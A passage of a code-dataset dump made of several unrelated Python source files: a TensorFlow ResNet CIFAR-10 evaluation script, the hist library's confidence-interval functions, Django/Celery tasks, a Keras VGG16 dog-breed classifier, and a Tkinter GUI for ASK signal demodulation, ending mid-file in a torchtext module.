tf.Variable(initializer([3, 3, chanel, chanel], dtype=tf.float32))\r\n out_33 = tf.nn.conv2d(out, kernel_1, [1, 1, 1, 1], padding='SAME')\r\n out_33 = bn_layer(out_33 , training=training)\r\n\r\n out = out_33 \r\n resadded = tf.add(out,resadd)\r\n \r\n return tf.nn.relu(resadded) \r\n##########################################\r\nclass ResNet:\r\n def __init__(self, imgs, sess=None,training=True):\r\n self.imgs = imgs\r\n self.convlayers()\r\n self.probs = tf.nn.softmax(self.my_final,name='y_main_pred')\r\n def convlayers(self):\r\n\r\n with tf.name_scope('main') as scope:\r\n with tf.name_scope('conv1_1') as scope:\r\n kernel = tf.Variable(initializer([3, 3, 3, 16], dtype=tf.float32), name='weights')\r\n conv = tf.nn.conv2d(self.imgs , kernel, [1, 1, 1, 1], padding='SAME')\r\n biases = tf.Variable(initializer(shape=[16], dtype=tf.float32),trainable=True, name='biases')\r\n out = tf.nn.bias_add(conv, biases)\r\n \r\n with tf.name_scope('resconv1') as scope:\r\n for i in range(9):\r\n out = block(out, 16, training)\r\n self.conv1 = out\r\n \r\n with tf.name_scope('resconv2') as scope:\r\n out = block_short(self.conv1, 32, training)\r\n for i in range(8):\r\n out = block(out, 32, training)\r\n self.conv2 = out\r\n\r\n with tf.name_scope('resconv3') as scope:\r\n out = block_short(self.conv2, 64, training)\r\n for i in range(8):\r\n out = block(out, 64, training)\r\n self.conv2 = out\r\n self.pool = tf.reduce_mean(self.conv2, axis=[1,2])\r\n \r\n with tf.name_scope('fc1') as scope:\r\n shape = int(np.prod(self.pool.get_shape()[1:]))\r\n \r\n fc1w = tf.Variable(initializer(shape=[shape, 10],dtype=tf.float32), name='weights')\r\n fc1b = tf.Variable(initializer(shape=[10], dtype=tf.float32),trainable=True, name='biases')\r\n pool5_flat = tf.reshape(self.pool, [-1, shape])\r\n \r\n self.my_final = tf.nn.bias_add(tf.matmul(pool5_flat , fc1w), fc1b)\r\n\r\nif __name__ == '__main__':\r\n sess = tf.Session()\r\n imgs = tf.placeholder(tf.float32, [None, 32, 32, 3])\r\n training = tf.placeholder_with_default(False, shape=(), name='training')\r\n label_batch_placeholder = tf.placeholder(tf.float32, shape=[BATCH_SIZE, 10], name='y_true') \r\n\r\n global_step = tf.Variable(0,trainable= False)\r\n boundaries = [32000,48000]\r\n values = [0.1,0.01,0.001]\r\n learning_rate = tf.train.piecewise_constant(global_step,boundaries, values)\r\n resnet = ResNet(imgs, sess, training)\r\n##################################################################### \r\n with tf.name_scope(\"loss\"):\r\n loss_main = tf.reduce_mean(tf.nn.softmax_cross_entropy_with_logits(logits=resnet.my_final,labels= label_batch_placeholder ), name=\"loss_main\") \r\n reg_variables_main = tf.trainable_variables(scope = 'main')\r\n exceptbn_vars = []\r\n for i in range(len(reg_variables_main)):\r\n if 'BatchNorm' in reg_variables_main[i].name:\r\n continue\r\n else:\r\n exceptbn_vars.append(reg_variables_main[i])\r\n reg_term_main = tf.contrib.layers.apply_regularization(tf.contrib.layers.l2_regularizer(scale=1e-4),exceptbn_vars)\r\n losses_main = loss_main + reg_term_main\r\n tf.summary.scalar(\"Loss_main\", losses_main)\r\n\r\n with tf.name_scope(\"train\"):\r\n optimizer_main = tf.train.MomentumOptimizer(learning_rate=learning_rate,momentum=0.9)\r\n output_vars_main = tf.get_collection(tf.GraphKeys.TRAINABLE_VARIABLES, scope='main') \r\n updata_ops_main = tf.get_collection(tf.GraphKeys.UPDATE_OPS)\r\n with tf.control_dependencies(updata_ops_main):\r\n train_step_main = optimizer_main.minimize(losses_main,global_step,var_list = output_vars_main) \r\n\r\n##########################################################\r\n with tf.name_scope(\"accuracy\"):\r\n correct_prediction_main = tf.equal(tf.argmax(resnet.probs, 1), tf.argmax(label_batch_placeholder , 1)) \r\n accuracy_main = tf.reduce_mean(tf.cast(correct_prediction_main, tf.float32))\r\n tf.summary.scalar(\"accuracy_main\", accuracy_main) \r\n \r\n summ = tf.summary.merge_all() \r\n \r\n var_list = tf.trainable_variables()\r\n g_list = tf.global_variables()\r\n bn_moving_vars = [g for g in g_list if 'ExponentialMovingAverage' in g.name]\r\n var_list += bn_moving_vars\r\n saver = tf.train.Saver(var_list=var_list, max_to_keep=5)\r\n \r\n print (5)\r\n tenboard_dir = './tensorboard/cifar-2020-01-23-01-delete/'\r\n writer = tf.summary.FileWriter(tenboard_dir)\r\n writer.add_graph(sess.graph)\r\n ################################################################\r\n model_path = './cifar-2020-02-07-01/cifar10.ckpt-2000'\r\n ######################################################\r\n with tf.Session() as sess:\r\n sess.run(tf.global_variables_initializer()) \r\n sess.run([iterator.initializer,iterator_test.initializer])\r\n ######################\r\n saver.restore(sess,model_path)\r\n #####################\r\n coord = tf.train.Coordinator()\r\n threads = tf.train.start_queue_runners(coord=coord, sess = sess)\r\n for i in range(10):\r\n image_out_eval, label_batch_one_hot_out_eval = sess.run(next_element_test)\r\n eval_accuracy1 = sess.run(accuracy_main, feed_dict={imgs: image_out_eval, label_batch_placeholder : label_batch_one_hot_out_eval,training: False})\r\n print (\"eval_accuracy_main:\",eval_accuracy1)\r\n\r\n coord.request_stop()\r\n coord.join(threads)\r\n sess.close()\r\n ####################\r\n \r\n\r\n\r\n","sub_path":"git_acnet_testing.py","file_name":"git_acnet_testing.py","file_ext":"py","file_size_in_byte":14255,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"373720098","text":"from __future__ import annotations\n\nfrom typing import Any\n\nimport numpy as np\n\nfrom .typing import Literal\n\ntry:\n from scipy import stats\nexcept ModuleNotFoundError:\n from sys import stderr\n\n print(\n \"hist.intervals requires scipy. Please install hist[plot] or manually install scipy.\",\n file=stderr,\n )\n raise\n\n__all__ = (\"poisson_interval\", \"clopper_pearson_interval\", \"ratio_uncertainty\")\n\n\ndef __dir__() -> tuple[str, ...]:\n return __all__\n\n\ndef poisson_interval(\n values: np.ndarray, variances: np.ndarray, coverage: float | None = None\n) -> np.ndarray:\n r\"\"\"\n The Frequentist coverage interval for Poisson-distributed observations.\n\n What is calculated is the \"Garwood\" interval,\n c.f. https://www.ine.pt/revstat/pdf/rs120203.pdf or\n http://ms.mcmaster.ca/peter/s743/poissonalpha.html.\n For weighted data, this approximates the observed count by\n ``values**2/variances``, which effectively scales the unweighted\n Poisson interval by the average weight.\n This may not be the optimal solution: see https://arxiv.org/abs/1309.1287\n for a proper treatment.\n\n When a bin is zero, the scale of the nearest nonzero bin is substituted to\n scale the nominal upper bound.\n\n Args:\n values: Sum of weights.\n variances: Sum of weights squared.\n coverage: Central coverage interval.\n Default is one standard deviation, which is roughly ``0.68``.\n\n Returns:\n The Poisson central coverage interval.\n \"\"\"\n # Parts originally contributed to coffea\n # https://github.com/CoffeaTeam/coffea/blob/8c58807e199a7694bf15e3803dbaf706d34bbfa0/LICENSE\n if coverage is None:\n coverage = stats.norm.cdf(1) - stats.norm.cdf(-1)\n scale = np.empty_like(values)\n scale[values != 0] = variances[values != 0] / values[values != 0]\n if np.sum(values == 0) > 0:\n missing = np.where(values == 0)\n available = np.nonzero(values)\n if len(available[0]) == 0:\n raise RuntimeError(\n \"All values are zero! Cannot compute meaningful uncertainties.\",\n )\n nearest = np.sum(\n [np.square(np.subtract.outer(d, d0)) for d, d0 in zip(available, missing)]\n ).argmin(axis=0)\n argnearest = tuple(dim[nearest] for dim in available)\n scale[missing] = scale[argnearest]\n counts = values / scale\n interval_min = scale * stats.chi2.ppf((1 - coverage) / 2, 2 * counts) / 2.0\n interval_max = scale * stats.chi2.ppf((1 + coverage) / 2, 2 * (counts + 1)) / 2.0\n interval = np.stack((interval_min, interval_max))\n interval[interval == np.nan] = 0.0 # chi2.ppf produces nan for counts=0\n return interval\n\n\ndef clopper_pearson_interval(\n num: np.ndarray, denom: np.ndarray, coverage: float | None = None\n) -> np.ndarray:\n r\"\"\"\n Compute the Clopper-Pearson coverage interval for a binomial distribution.\n c.f. http://en.wikipedia.org/wiki/Binomial_proportion_confidence_interval\n\n Args:\n num: Numerator or number of successes.\n denom: Denominator or number of trials.\n coverage: Central coverage interval.\n Default is one standard deviation, which is roughly ``0.68``.\n\n Returns:\n The Clopper-Pearson central coverage interval.\n \"\"\"\n # Parts originally contributed to coffea\n # https://github.com/CoffeaTeam/coffea/blob/8c58807e199a7694bf15e3803dbaf706d34bbfa0/LICENSE\n if coverage is None:\n coverage = stats.norm.cdf(1) - stats.norm.cdf(-1)\n # Numerator is subset of denominator\n if np.any(num > denom):\n raise ValueError(\n \"Found numerator larger than denominator while calculating binomial uncertainty\"\n )\n interval_min = stats.beta.ppf((1 - coverage) / 2, num, denom - num + 1)\n interval_max = stats.beta.ppf((1 + coverage) / 2, num + 1, denom - num)\n interval = np.stack((interval_min, interval_max))\n interval[:, num == 0.0] = 0.0\n interval[1, num == denom] = 1.0\n return interval\n\n\ndef ratio_uncertainty(\n num: np.ndarray,\n denom: np.ndarray,\n uncertainty_type: Literal[\"poisson\", \"poisson-ratio\", \"efficiency\"] = \"poisson\",\n) -> Any:\n r\"\"\"\n Calculate the uncertainties for the values of the ratio ``num/denom`` using\n the specified coverage interval approach.\n\n Args:\n num: Numerator or number of successes.\n denom: Denominator or number of trials.\n uncertainty_type: Coverage interval type to use in the calculation of\n the uncertainties.\n ``\"poisson\"`` (default) implements the Poisson interval for the\n numerator scaled by the denominator.\n ``\"poisson-ratio\"`` implements the Clopper-Pearson interval for Poisson\n distributed ``num`` and ``denom``.\n ``\"efficiency\"`` is an alias for ``\"poisson-ratio\"``.\n\n Returns:\n The uncertainties for the ratio.\n \"\"\"\n # Note: As return is a numpy ufuncs the type is \"Any\"\n with np.errstate(divide=\"ignore\"):\n ratio = num / denom\n if uncertainty_type == \"poisson\":\n ratio_uncert = np.abs(poisson_interval(ratio, num / np.square(denom)) - ratio)\n elif uncertainty_type in {\"poisson-ratio\", \"efficiency\"}:\n # poisson ratio n/m is equivalent to binomial n/(n+m)\n ratio_uncert = np.abs(clopper_pearson_interval(num, num + denom) - ratio)\n else:\n raise TypeError(\n f\"'{uncertainty_type}' is an invalid option for uncertainty_type.\"\n )\n return ratio_uncert\n","sub_path":"src/hist/intervals.py","file_name":"intervals.py","file_ext":"py","file_size_in_byte":5491,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"116125485","text":"from django.core.mail import EmailMultiAlternatives\nfrom django.core.management import call_command\n\nfrom conf.celery import app\n\n\n@app.task(autoretry_for=(TimeoutError, ))\ndef send_email(\n subject, text_body, html_body, recipient_email, from_email\n):\n message = EmailMultiAlternatives(\n subject=subject,\n body=text_body,\n to=[recipient_email],\n from_email=from_email,\n )\n message.attach_alternative(html_body, \"text/html\")\n message.send()\n\n\n@app.task()\ndef elsaticsearch_migrate():\n call_command('elasticsearch_migrate')\n","sub_path":"core/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"366159151","text":"# -*- coding: utf-8 -*-\n\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport load_miracle_VGG16 as lm\nfrom keras.layers import *\nimport matplotlib.pyplot as plt\nfrom keras.optimizers import SGD\nfrom keras.models import Sequential\nfrom keras.callbacks import ModelCheckpoint, EarlyStopping, ReduceLROnPlateau\nfrom keras.applications import VGG19,Xception ,ResNet50, inception_v3, MobileNet\n\n\n\nfrom keras.backend import tensorflow_backend as K\nconfig = tf.ConfigProto()\nconfig.gpu_options.allow_growth = True\nK.set_session(tf.Session(config=config))\n\n\ncategories = [\"affenpinscher\",\"afghanhound\",\"airedaleterrier\",\"akita\",\"alaskanmalamute\",\"american_bully\",\"americancockerspaniel\",\"americanstaffordshireterrier\",\"australiancattledog\",\"australiankelpie\",\n \"australianshepherd\",\"australiansilkyterrier\",\"australianterrier\",\"basenji\",\"bassethound\",\"beagle\",\"beardedcollie\",\"bedlingtonterrier\",\"belgiangriffon\",\"belgianshepherddoggroenedael\",\n \"belgianshepherddoglaekenois\",\"belgianshepherddogmalinois\",\"belgianshepherddogtervueren\",\"bergerdebeauce\",\"bernerhound\",\"bernesemountaindog\",\"bichonfrise\",\"bloodhound\",\"bolognese\",\"bordeauxmastiff\",\n \"bordercollie\",\"borderterrier\",\"borzoi\",\"bostonterrier\",\"bouvierdesflanders\",\"brazilianguarddog\",\"briard\",\"brittanyspaniel\",\"brusselsgriffon\",\"bulldog\",\"bullmastiff\",\"bullterrier\",\"cairnterrier\",\"cavalierkingcharlesspaniel\",\n \"chesapeakebayretriever\",\"chihuahua\",\"chin\",\"chinesecresteddog\",\"chowchow\",\"clumberspaniel\",\"cotondetulear\",\"curlycoatedretriever\",\"dachshund\",\"dalmatian\",\"dandiedinmontterrier\",\"deerhound\",\"dobermann\",\"dogoargentino\",\n \"englishcockerspaniel\",\"englishpointer\",\"englishsetter\",\"englishspringerspaniel\",\"estrelamountaindog\",\"fieldspaniel\",\"flatcoatedretriever\",\"frenchbulldog\",\"germanboxer\",\"germanhuntingterrier\",\"germanshepherddog\",\n \"germanshorthairedpointer\",\"germanwirehairedpointer\",\"giantschnauzer\",\"goldenretriever\",\"gordonsetter\",\"greatdane\",\"greatjapanesedog\",\"greyhound\",\"hokkaido\",\"hungarianshorthairedvizsla\",\"ibizanhound\",\"irishredandwhitesetter\",\n \"irishredsetter\",\"irishsoftcoatedwheatenterrier\",\"irishterrier\",\"irishwolfhound\",\"italiangreyhound\",\"jackrussellterrier\",\"japanesespitz\",\"japaneseterrier\",\"kai\",\"keeshond\",\"kerryblueterrier\",\"kingcharlesspaniel\",\"kishu\",\"komondor\",\n \"kooikerhondje\",\"koreajindodog\",\"kuvasz\",\"labradorretriever\",\"lakelandterrier\",\"largemunsterlander\",\"leonberger\",\"lhasaapso\",\"lowchen\",\"maltese\",\"maltipoo\",\"manchesterterrier\",\"maremmaandabruzzessheepdog\",\"mastiff\",\"mexicanhairlessdog\",\n \"miniaturebullterrier\",\"miniaturepinscher\",\"miniatureschnauzer\",\"neapolitanmastiff\",\"newfoundland\",\"norfolkterrier\",\"norwegianbuhund\",\"norwegianelkhoundgrey\",\"norwichterrier\",\"novascotiaducktollingretriever\",\"oldenglishsheepdog\",\n \"papillon\",\"parsonrussellterrier\",\"pekingese\",\"peruvianhairlessdog\",\"petitbassetgriffonvendeen\",\"petitbrabancon\",\"pharaohhound\",\"polishlowlandsheepdog\",\"pomeranian\",\"poodle\",\"portuguesewaterdog\",\"pug\",\"puli\",\"pumi\",\"pyreneanmastiff\",\n \"pyreneanmountaindog\",\"pyreneansheepdog\",\"rhodesianridgeback\",\"rottweiler\",\"roughcollie\",\"saintbernarddog\",\"saluki\",\"samoyed\",\"schipperke\",\"scottishterrier\",\"sealyhamterrier\",\"sharpei\",\"shetlandsheepdog\",\"shiba\",\"shihtzu\",\"shikoku\",\n \"siberianhusky\",\"skyeterrier\",\"sloughi\",\"smoothcollie\",\"smoothfoxterrier\",\"spanishmastiff\",\"staffordshirebullterrier\",\"standardschnauzer\",\"thairidgebackdog\",\"tibetanmastiff\",\"tibetanspaniel\",\"tibetanterrier\",\"tosa\",\n \"toymanchesterterrier\",\"weimaraner\",\"welshcorgicardigan\",\"welshcorgipembroke\",\"welshspringerspaniel\",\"welshterrier\",\"westhighlandwhiteterrier\",\"whippet\",\"whiteswissshepherddog\",\"wirefoxterrier\",\"yorkshireterrier\"]\n\nnb_classes=len(categories)\n\nfor d in ['/gpu:0']:\n with tf.device(d):\n x_train, x_test, t_train, t_test=lm.image_2cha_dog()\n x_train = x_train.astype(\"float32\")\n x_test = x_test.astype(\"float32\")\n x_train /= 255\n x_test /= 255\n\n print(x_train.shape)\n print(x_test.shape)\n\n\n #1\n model=Sequential()\n model.add(ZeroPadding2D((1,1),input_shape=x_train.shape[1:]))\n model.add(Conv2D(64,(3,3),activation='relu'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Conv2D(64,(3,3),activation='relu'))\n model.add(MaxPooling2D((2,2),strides=(2,2)))\n model.add(ZeroPadding2D((1,1)))\n #2\n model.add(Conv2D(128,(3,3),activation='relu'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Conv2D(128,(3,3),activation='relu'))\n model.add(MaxPooling2D((2,2),strides=(2,2)))\n model.add(ZeroPadding2D((1,1)))\n model.add(Conv2D(256,(3,3),activation='relu'))\n #3\n model.add(ZeroPadding2D((1,1)))\n model.add(Conv2D(256,(3,3),activation='relu'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Conv2D(256,(3,3),activation='relu'))\n model.add(MaxPooling2D((2,2),strides=(2,2)))\n model.add(ZeroPadding2D((1,1)))\n \n #4\n model.add(Conv2D(512,(3,3),activation='relu'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Conv2D(512,(3,3),activation='relu'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Conv2D(512,(3,3),activation='relu'))\n model.add(MaxPooling2D((2,2),strides=(2,2)))\n #5\n model.add(ZeroPadding2D((1,1)))\n model.add(Conv2D(512,(3,3),activation='relu'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Conv2D(512,(3,3),activation='relu'))\n model.add(ZeroPadding2D((1,1)))\n model.add(Conv2D(512,(3,3),activation='relu'))\n model.add(MaxPooling2D((2,2),strides=(2,2)))\n \n \n #model.add(Flatten())\n model.add(GlobalAveragePooling2D())\n \n model.add(Dense(4096,activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(4096,activation='relu'))\n model.add(Dropout(0.5))\n model.add(Dense(nb_classes))\n model.add(Activation('softmax'))\n\n model.summary()\n\n #run_opts = tf.RunOptions(report_tensor_allocations_upon_oom = True)\n sgd = SGD(lr=0.001, decay = 1e-7, momentum=0.9, nesterov=True)\n model.compile(loss='categorical_crossentropy',optimizer=sgd, metrics=['accuracy'])#,options=run_opts)\n\n \n callbacks_list = [\n EarlyStopping( \n monitor=\"val_acc\",\n patience=9, \n ),\n ModelCheckpoint(\n filepath=\"VGG16_2Cha_Dog_CP.h5py\",\n monitor=\"val_loss\",\n save_best_only=False, \n ),\n ReduceLROnPlateau(\n monitor=\"val_loss\",\n factor=0.5, \n patience=7,\n ),\n ]\n \nhistory = model.fit(x_train, t_train, batch_size=32, epochs=35, verbose=1, validation_split=0.2, callbacks=callbacks_list)\n\nscore=model.evaluate(x_test,t_test, verbose=1)\n\nprint('loss=',score[0])\nprint('accuracy=',score[1])\n\nanimalgo10_params = \"./model_VGG16_2Cha_dog.h5py\" #저장경로\nmodel.save_weights(animalgo10_params) #저장\n\n\nplt.plot(history.history['loss'])\nplt.plot(history.history['acc'])\nplt.title('2Cha_Mobile_Dog')\nplt.ylabel('Acc')\nplt.xlabel('Apochs')\nplt.legend(['loss', 'acc'], loc='upper left')\nplt.show()\n\n","sub_path":"train_animalgo_dog_VGG16.py","file_name":"train_animalgo_dog_VGG16.py","file_ext":"py","file_size_in_byte":7404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"80519689","text":"\"\"\"\nv 0.8\nASK_GUI.py\nThis is the graphical user interface for ASK_demod_guts.py\nTested on a Windows 7 64-bit and Windows 8 64-bit computer\nIt requires the installation of both SignalVu-PC and TekVISA 4.0.4\nand will not run at all without TekVISA installed.\n\nTODO:\nFix symbol table output ellipsis\nAdapt to use the API instead of SV-PC\n\"\"\"\n\nfrom Tkinter import *\nfrom ASK_demod_guts import *\n\nclass GUI(Frame):\n\t\"\"\"GUI with 8 text fields, 3 buttons, and a table\"\"\"\n\n\tdef __init__(self, master=0):\n\t\tFrame.__init__(self,master)\n\t\tself.grid()\n\t\tself.createWidgets()\n\n\tdef createWidgets(self):\n\t\t#Creating widgets in the GUI\n\t\tself.button_width = 18\n\t\tself.status_text = 'Ready'\n\t\tactive_row = 0\n\n\t\t#Row 0: Instrument listbox label, symbol table label\n\t\tself.inst_list_label = Label(self, text='Instrument List')\n\t\tself.inst_list_label.grid(column=0, row=active_row)\n\t\tself.inst_connect_button = Button(self, text='Connect', \n\t\t\tcommand=self.inst_connect, width=self.button_width)\n\t\tself.inst_connect_button.grid(column=1, row=active_row)\n\t\tself.symtablabel = Label(self, text='Symbol Table')\n\t\tself.symtablabel.grid(column=2, row=active_row)\n\t\tactive_row += 1\n\t\t\n\t\t#Row 1: Instrument listbox, symbol table\n\t\tself.inst_list_contents = StringVar()\n\t\tself.inst_list = Listbox(self, listvariable=self.inst_list_contents,\n\t\t\twidth=48)\n\t\tself.inst_list_contents.set(' '.join(VISA_search()))\n\t\tself.inst_list.grid(column=0, row=active_row, columnspan=2)\n\t\tself.st_scrollbar = Scrollbar(self, orient=VERTICAL)\n\t\tself.symtable = Canvas(self, width=300, height=400, \n\t\t\tborderwidth=4, relief=SUNKEN, \n\t\t\tscrollregion=(0,0,300,1000))\n\t\tself.symbol_table_text = self.symtable.create_text(10, 10, anchor=NW,\n\t\t\ttext='Symbols will appear here after\\nsuccessful demodulation.')\n\t\tself.symtable.config(yscrollcommand=self.st_scrollbar.set)\n\t\tself.st_scrollbar.config(command=self.symtable.yview)\n\t\tself.symtable.grid(column=2, row=active_row, rowspan=10)\n\t\tself.st_scrollbar.grid(column=3, row=active_row, sticky=N+S,\n\t\t\trowspan=10)\n\t\tactive_row += 1\n\n\t\t#Row 2:\n\t\tself.settingslabel = Label(self, text='Instrument/Demod Settings')\n\t\tself.settingslabel.grid(column=0, row=active_row, columnspan=2)\n\t\tactive_row += 1\n\n\t\t#Row 3: Center frequency label and entry\n\t\tself.cflabel = Label(self, text = 'Center Frequency (Hz)')\n\t\tself.cflabel.grid(column=0, row=active_row, sticky=E)\n\t\tself.cf_e_text = StringVar()\n\t\tself.cf_e = Entry(self, textvariable=self.cf_e_text)\n\t\tself.cf_e.grid(column=1, row=active_row)\n\t\tself.cf_e_text.set('1e9')\n\t\tactive_row += 1\n\n\t\t#Row 4: Span label and entry\n\t\tself.spanlabel = Label(self, text = 'Span (Hz)')\n\t\tself.spanlabel.grid(column=0, row=active_row, sticky=E)\n\t\tself.span_e_text = StringVar()\n\t\tself.span_e = Entry(self, textvariable=self.span_e_text)\n\t\tself.span_e.grid(column=1, row=active_row)\n\t\tself.span_e_text.set('20e6')\n\t\tactive_row += 1\n\n\t\t#Row 5: Ref level label and entry\n\t\tself.reflevellabel = Label(self, text = 'Reference Level (dBm)')\n\t\tself.reflevellabel.grid(column=0, row=active_row, sticky=E)\n\t\tself.reflevel_e_text = StringVar()\n\t\tself.reflevel_e = Entry(self, textvariable=self.reflevel_e_text)\n\t\tself.reflevel_e.grid(column=1, row=active_row)\n\t\tself.reflevel_e_text.set('0')\n\t\tactive_row += 1\n\n\t\t#Row 6: Meas length label and entry\n\t\tself.meas_lengthlabel = Label(self, text = 'Measurement Length (sec)')\n\t\tself.meas_lengthlabel.grid(column=0,row=active_row, sticky=E)\n\t\tself.meas_length_e_text = StringVar()\n\t\tself.meas_length_e = Entry(self, textvariable=self.meas_length_e_text)\n\t\tself.meas_length_e.grid(column=1, row=active_row)\n\t\tself.meas_length_e_text.set('40e-6')\n\t\tactive_row += 1\n\n\t\t#Row 7: Trigger Level label and entry\n\t\tself.trig_lvllabel = Label(self, text = 'Trigger Level (dBm)')\n\t\tself.trig_lvllabel.grid(column=0, row=active_row, sticky=E)\n\t\tself.trig_lvl_e_text = StringVar()\n\t\tself.trig_lvl_e = Entry(self, textvariable=self.trig_lvl_e_text)\n\t\tself.trig_lvl_e.grid(column=1, row=active_row)\n\t\tself.trig_lvl_e_text.set('-10')\n\t\tactive_row += 1\n\n\t\t#Row 8: Instrument settings and acquire buttons\n\t\tself.inst_setup_button = Button(self, text='Instrument Setup',\n\t\t\tcommand = self.gui_instrument_setup, width=self.button_width)\n\t\tself.inst_setup_button.grid(column=0, row=active_row)\n\t\tself.acquire_button = Button(self, text='Acquire', \n\t\t\tcommand=self.gui_acquire, width=self.button_width)\n\t\tself.acquire_button.grid(column=1, row=active_row)\n\t\tactive_row += 1\n\n\t\t#Row 9: Symbol rate label and entry\n\t\tself.symratelabel = Label(self, text = 'Symbole Rate (Sym/sec)')\n\t\tself.symratelabel.grid(column=0, row=active_row, sticky=E)\n\t\tself.symrate_e_text = StringVar()\n\t\tself.symrate_e = Entry(self, textvariable=self.symrate_e_text)\n\t\tself.symrate_e.grid(column=1, row=active_row)\n\t\tself.symrate_e_text.set('1e6')\n\t\tactive_row += 1\n\n\t\t#Row 10: Demodulation Threshold label and entry\n\t\tself.threshlabel = Label(self, text = 'Demod Thresh (dB from peak)')\n\t\tself.threshlabel.grid(column=0, row=active_row, sticky=E)\n\t\tself.thresh_e_text = StringVar()\n\t\tself.thresh_e = Entry(self, textvariable=self.thresh_e_text)\n\t\tself.thresh_e.grid(column=1, row=active_row)\n\t\tself.thresh_e_text.set('3')\n\t\tactive_row += 1\n\n\t\t#Row 11: Status message, replay button, demodulate button\n\t\tself.status_label = Label(self, text=self.status_text)\n\t\tself.status_label.grid(column=2, row=active_row, rowspan=2)\n\t\tself.acquire_button = Button(self, text='Replay', \n\t\t\tcommand=self.gui_replay, width=self.button_width)\n\t\tself.acquire_button.grid(column=0, row=active_row)\n\t\tself.demod_button = Button(self, text='Demodulate',\n\t\t\tcommand = self.gui_full_demod, width=self.button_width)\n\t\tself.demod_button.grid(column=1, row=active_row)\n\t\tactive_row += 1\n\n\t\t#Row 12: Export and quit buttons\n\t\tself.export_button = Button(self, text='Export Symbol Table',\n\t\t\tcommand = self.export, width=self.button_width)\n\t\tself.export_button.grid(column=0, row=active_row)\n\t\tself.quitButton = Button(self, text='Quit',\n\t\t\tcommand = self.quit, width=self.button_width)\n\t\tself.quitButton.grid(column=1, row=active_row)\n\n\tdef inst_connect(self):\n\t\tself.status_text = 'Attemtping to connect...'\n\t\tself.status_update()\n\t\tdescriptor = self.inst_list.get(ACTIVE)\n\t\tself.inst, self.status_text = Tek_Instrument(descriptor)\n\t\tself.status_update()\n\n\tdef gui_instrument_setup(self):\n\t\ttry:\n\t\t\tcf = float(self.cf_e.get())\n\t\t\tspan = float(self.span_e.get())\n\t\t\treflevel = float(self.reflevel_e.get())\n\t\t\tmeas_length = float(self.meas_length_e.get())\n\t\t\ttrig_lvl = float(self.trig_lvl_e.get())\n\t\t\tself.status_text = inst_setup(self.inst, \n\t\t\t\tcf, reflevel, span, meas_length, trig_lvl)\n\t\t\tif self.status_text != 0:\n\t\t\t\tself.status_update()\n\t\t\telse:\n\t\t\t\tself.status_text = 'Acquisition settings configured.'\n\t\texcept ValueError:\n\t\t\tself.status_text = 'Enter a valid number in each field.'\n\t\texcept AttributeError:\n\t\t\tself.status_text = 'Please connect to an instrument.'\n\t\texcept visa.VisaIOError:\n\t\t\tself.status_text = 'Timeout expired before operation completed.'\n\t\tself.status_update()\n\n\tdef gui_acquire(self):\n\t\ttry:\n\t\t\tacquire(self.inst)\n\t\t\tself.avt, self.Fs, self.status_text = get_avt(self.inst)\n\t\t\tif self.status_text != 0:\n\t\t\t\tself.status_update()\n\t\t\telse:\n\t\t\t\tself.status_text = 'Data acquired, ready to demodulate.'\n\t\texcept ValueError:\n\t\t\tself.status_text = 'Please enter valid numbers in all fields.'\n\t\texcept AttributeError:\n\t\t\tself.status_text = 'Please connect to an instrument.'\n\t\texcept visa.VisaIOError:\n\t\t\tself.status_text = 'Timeout expired before operation completed.'\n\t\tself.status_update()\n\n\tdef gui_replay(self):\n\t\ttry:\n\t\t\tself.avt, self.Fs, self.status_text = get_avt(self.inst)\n\t\t\tif self.status_text != 0:\n\t\t\t\t\tself.status_update()\n\t\t\telse:\n\t\t\t\tself.status_text = 'Data updated, ready to demodulate.'\n\t\texcept ValueError:\n\t\t\tself.status_text = 'Please enter valid numbers in all fields.'\n\t\texcept AttributeError:\n\t\t\tself.status_text = 'Please connect to an instrument.'\n\t\texcept visa.VisaIOError:\n\t\t\tself.status_text = 'Timeout expired before operation completed.'\n\t\tself.status_update()\n\n\tdef gui_full_demod(self):\n\t\ttry:\n\t\t\tsym_rate = float(self.symrate_e.get())\n\t\t\tif (sym_rate > 200e6) or (sym_rate < 0):\n\t\t\t\traise Warning\n\t\t\tthresh = float(self.thresh_e.get())\n\t\t\tsymbol_table, annotations = ask_decode(self.avt, sym_rate, self.Fs, thresh)\n\t\t\tself.st_contents = np.array_str(symbol_table, max_line_width=64)\n\t\t\tself.symtable.itemconfig(self.symbol_table_text, \n\t\t\t\ttext=self.st_contents)\n\t\t\tself.status_text ='Demodulation complete.'\n\t\texcept ValueError:\n\t\t\tself.status_text = 'Please enter valid numbers in all fields.'\n\t\texcept AttributeError:\n\t\t\tself.status_text = 'Please acquire data before demodulating.'\n\t\texcept Warning:\n\t\t\tself.status_text = 'Symbol rate out of range.'\n\t\tself.status_update()\n\n\tdef export(self):\n\t\tfilename = 'ASK_symbol_table.txt'\n\t\toutput = open(filename, 'w')\n\t\toutput.write(self.st_contents)\n\t\toutput.close\n\t\tself.status_text = 'Symbol table exported to {0}'.format(filename)\n\t\tself.status_update()\t\t\n\n\tdef status_update(self):\n\t\tself.status_label.configure(text=self.status_text)\n\n\napp = GUI()\n\napp.master.title('ASK Demodulator v 0.7')\n\napp.mainloop()","sub_path":"Python 2.7/v 0.8/ASK_GUI.py","file_name":"ASK_GUI.py","file_ext":"py","file_size_in_byte":9109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"372442229","text":"import io\nimport os\nimport re\n\nfrom torchtext.data import Field, NestedField\nimport torchtext.data as data\nfrom torchtext.data.dataset import Dataset\nfrom torchtext.data.example import Example\nfrom typing import Iterable\nfrom torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence\n\nPAD_TOKEN = 